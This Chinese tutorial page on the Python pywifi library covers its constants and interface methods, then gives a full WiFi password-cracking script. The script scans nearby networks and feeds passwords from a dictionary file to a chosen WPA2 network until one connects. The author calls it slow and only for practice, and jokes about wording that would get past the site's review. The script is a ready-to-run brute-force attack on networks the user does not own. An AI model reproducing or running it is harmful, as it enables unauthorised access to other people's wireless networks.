python中pywifi的具體使用
寫在前面
無線AP(Access Point):即無線接入點(diǎn)
python的wifi管理模塊叫pywifi
安裝
pip install pywifi
pywifi
常量
接口狀態(tài)
Interface.status()將返回以下狀態(tài)代碼之一。
const.IFACE_DISCONNECTED # 無連接 const.IFACE_SCANNING # 掃描中 const.IFACE_INACTIVE # 激活 const.IFACE_CONNECTING # 連接中 const.IFACE_CONNECTED # 連接
身份驗(yàn)證算法
身份驗(yàn)證算法應(yīng)輔助到配置文件中。 在正常情況下,幾乎所有AP都使用開放算法。
const.AUTH_OPEN # 授權(quán)打開 const.AUTH_SHARED # 身份驗(yàn)證共享
密鑰管理類型
密鑰管理類型應(yīng)分配給配置文件。
對(duì)于普通 AP,如果
AP 不是安全設(shè)置,請(qǐng)將配置文件 AKM 設(shè)置為 。AKM_TYPE_NONE
AP 處于 WPA 模式,將配置文件 AKM 設(shè)置為 。AKM_TYUPE_WPAPSK
AP 處于 WPA2 模式,將配置文件 AKM 設(shè)置為 。AKM_TYUPE_WPA2PSK
AKM_TYPE_WPA并由企業(yè) AP 使用。AKM_TYPE_WPA2
const.AKM_TYPE_NONE const.AKM_TYPE_WPA const.AKM_TYPE_WPAPSK const.AKM_TYPE_WPA2 const.AKM_TYPE_WPA2PSK # 一般用這個(gè)
密碼類型
如果 akm 不是,則應(yīng)將密碼類型設(shè)置為配置文件。 您可以參考要連接的AP的設(shè)置。AKM_TYPE_NONE
const.CIPHER_TYPE_NONE const.CIPHER_TYPE_WEP const.CIPHER_TYPE_TKIP const.CIPHER_TYPE_CCMP
網(wǎng)絡(luò)配置文件
配置文件是我們要連接到的AP的設(shè)置。 配置文件的字段:
- ssid- AP 的 ssid/wifi的名字
- auth- AP 的身份驗(yàn)證算法。
- akm- AP 的密鑰管理類型。
- cipher- AP 的密碼類型。
- key (最佳) - AP 的鍵。 如果密碼不是 ,則應(yīng)設(shè)置此項(xiàng)。CIPHER_TYPE_NONE
接口
接口是指我們用來執(zhí)行的 Wi-Fi 接口 Wi-Fi 操作(例如掃描、連接、斷開連接等)。
首先:獲取接口信息
通常,平臺(tái)中將只有一個(gè)Wi-Fi接口。 因此,使用索引 0 00 獲取 Wi-Fi 接口。
import pywifi wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0]
Interface.name()
獲取 Wi-Fi 接口的名稱。
Interface.scan()
觸發(fā)接口掃描 APs。
Interface.scan_results()
獲取上一次觸發(fā)掃描的結(jié)果。 將返回配置文件列表。
注意:因?yàn)槊總€(gè) Wi-Fi 接口的掃描時(shí)間都是不同的。 2~8秒后撥打更安全。
Interface.add_network_profile(profile)
添加 AP 配置文件以便稍后連接。
Interface.remove_all_network_profiles()
卸下所有AP配置文件。
Interface.network_profiles()
通過返回配置文件列表獲取所有已保存的AP配置文件。
Interface.connect(profile)
通過給定配置文件連接到指定的 AP。注意。作為當(dāng)前的設(shè)計(jì),應(yīng)該是 之前調(diào)用的被調(diào)用。add_network_profile(profile)connect(profile)
Interface.disconnect()
斷開當(dāng)前 AP 連接。
Interface.status()
獲取當(dāng)前狀態(tài)的狀態(tài)。
wifi連接代碼
pywifi原理就是操縱網(wǎng)卡,一個(gè)一個(gè)的試密碼,直到密碼正確,這時(shí)電腦也會(huì)連上這個(gè)wifi。
效率極低,就用來練手就行
害,加上2個(gè)字會(huì)過不了審核我不理解。這東西又不會(huì)真的拿去用,連接一次就得2秒,跑完字典不知道要多久去了。
# coding:utf-8 import pywifi from pywifi import const import time import datetime # 輸入wifi名稱 def wifi_scan(): ? ? print("開始掃描wifi,請(qǐng)等待...") ? ? iface.scan() ?# 掃描 ? ? time.sleep(3) ? ? results = iface.scan_results() ?# 掃描結(jié)果 ? ? a = set() ? ? for data in results: ?# 每一個(gè)wifi創(chuàng)建一個(gè)對(duì)象 ? ? ? ? if data.ssid not in a: ? ? ? ? ? ? a.add(data.ssid) ? ? ? ? ? ? print(data.ssid.encode('raw_unicode_escape').decode('utf-8')) # 測(cè)試連接,返回鏈接結(jié)果 def wifi_connect(pwd): ? ? # 斷開所有連接 ? ? iface.disconnect() ? ? time.sleep(0.5) ? ? # 測(cè)試網(wǎng)卡是否屬于斷開狀態(tài) ? ? wifi_status = iface.status() ? ? if wifi_status == const.IFACE_DISCONNECTED: ? ? ? ? # 創(chuàng)建WiFi連接文件 ? ? ? ? profile = pywifi.Profile() ? ? ? ? # 要連接WiFi的名稱 ? ? ? ? profile.ssid = name ? ? ? ? # 網(wǎng)卡的開放狀態(tài) ? ? ? ? profile.auth = const.AUTH_ALG_OPEN ? ? ? ? # wifi加密算法,一般wifi加密算法為wps ? ? ? ? profile.akm.append(const.AKM_TYPE_WPA2PSK) ? ? ? ? # 加密單元 ? ? ? ? profile.cipher = const.CIPHER_TYPE_CCMP ? ? ? ? # 設(shè)定連接文件 ? ? ? ? iface.add_network_profile(profile) ? ? ? ? # 調(diào)用密碼 ? ? ? ? profile.key = pwd ? ? ? ? # 刪除所有連接過的wifi文件 ? ? ? ? iface.remove_all_network_profiles() ? ? ? ? # 設(shè)定新的連接文件 ? ? ? ? tep_profile = iface.add_network_profile(profile) ? ? ? ? iface.connect(tep_profile) ? ? ? ? # wifi連接時(shí)間 ? ? ? ? time.sleep(1) ? ? ? ? if iface.status() == const.IFACE_CONNECTED: ? ? ? ? ? ? return True ? ? ? ? else: ? ? ? ? ? ? return False ? ? else: ? ? ? ? print("已有wifi連接") def readPassword(): ? ? print("開始破解:") ? ? # 密碼字典路徑"密碼本路徑" ? ? path = "路徑" ? ? i = 0 ? ? # 打開密碼字典逐行讀取 ? ? with open(path, 'r') as f: ? ? ? ? for line in f: ? ? ? ? ? ? pwd = line.strip('\n') ? ? ? ? ? ? if 8 < len(pwd) < 16: ? ? ? ? ? ? ? ? # 一行一行讀取 ? ? ? ? ? ? ? ? i += 1 ? ? ? ? ? ? ? ? if i % 10 == 0: ? ? ? ? ? ? ? ? ? ? print("正在進(jìn)行第{}次嘗試".format(i)) ? ? ? ? ? ? ? ? b = wifi_connect(pwd) ? ? ? ? ? ? ? ? if b: ? ? ? ? ? ? ? ? ? ? print("密碼已破解: ", pwd) ? ? ? ? ? ? ? ? ? ? print("WiFi已自動(dòng)連接?。?!") ? ? ? ? ? ? ? ? ? ? break # 抓取網(wǎng)卡接口 wifi = pywifi.PyWiFi() # 獲取第一個(gè)wifi接口 iface = wifi.interfaces()[0] # 輸出全部wifi wifi_scan() # 輸入wifi名稱 name = input("請(qǐng)輸入wifi名稱:").encode('utf-8').decode('raw_unicode_escape') start = datetime.datetime.now() readPassword() end = datetime.datetime.now() print("破解WIFI密碼一共用了多長時(shí)間:{}".format(end - start))
到此這篇關(guān)于python中pywifi的具體使用的文章就介紹到這了,更多相關(guān)python pywifi內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
MacOS安裝python報(bào)錯(cuò)"zsh:?command?not?found:python"的
這篇文章主要給大家介紹了關(guān)于MacOS安裝python報(bào)錯(cuò)"zsh:?command?not?found:python"的解決方法,文中將解決的辦法介紹的非常詳細(xì),需要的朋友可以參考下2023-02-02python實(shí)現(xiàn)圖片轉(zhuǎn)字符小工具
這篇文章主要為大家詳細(xì)介紹了python實(shí)現(xiàn)圖片轉(zhuǎn)字符小工具,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-04-04Pyinstaller打包報(bào)錯(cuò)小結(jié)
本文主要介紹了Pyinstaller打包報(bào)錯(cuò)小結(jié),詳細(xì)的介紹了5種錯(cuò)誤的解決方法,文中通過示例代碼介紹的非常詳細(xì),需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2024-02-02python完成FizzBuzzWhizz問題(拉勾網(wǎng)面試題)示例
這篇文章主要介紹了python完成FizzBuzzWhizz問題(拉勾網(wǎng)面試題)示例,需要的朋友可以參考下2014-05-05Python密碼學(xué)Caesar?Cipher凱撒密碼算法教程
這篇文章主要為大家介紹了Python密碼學(xué)Caesar?Cipher凱撒密碼算法教程,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-05-05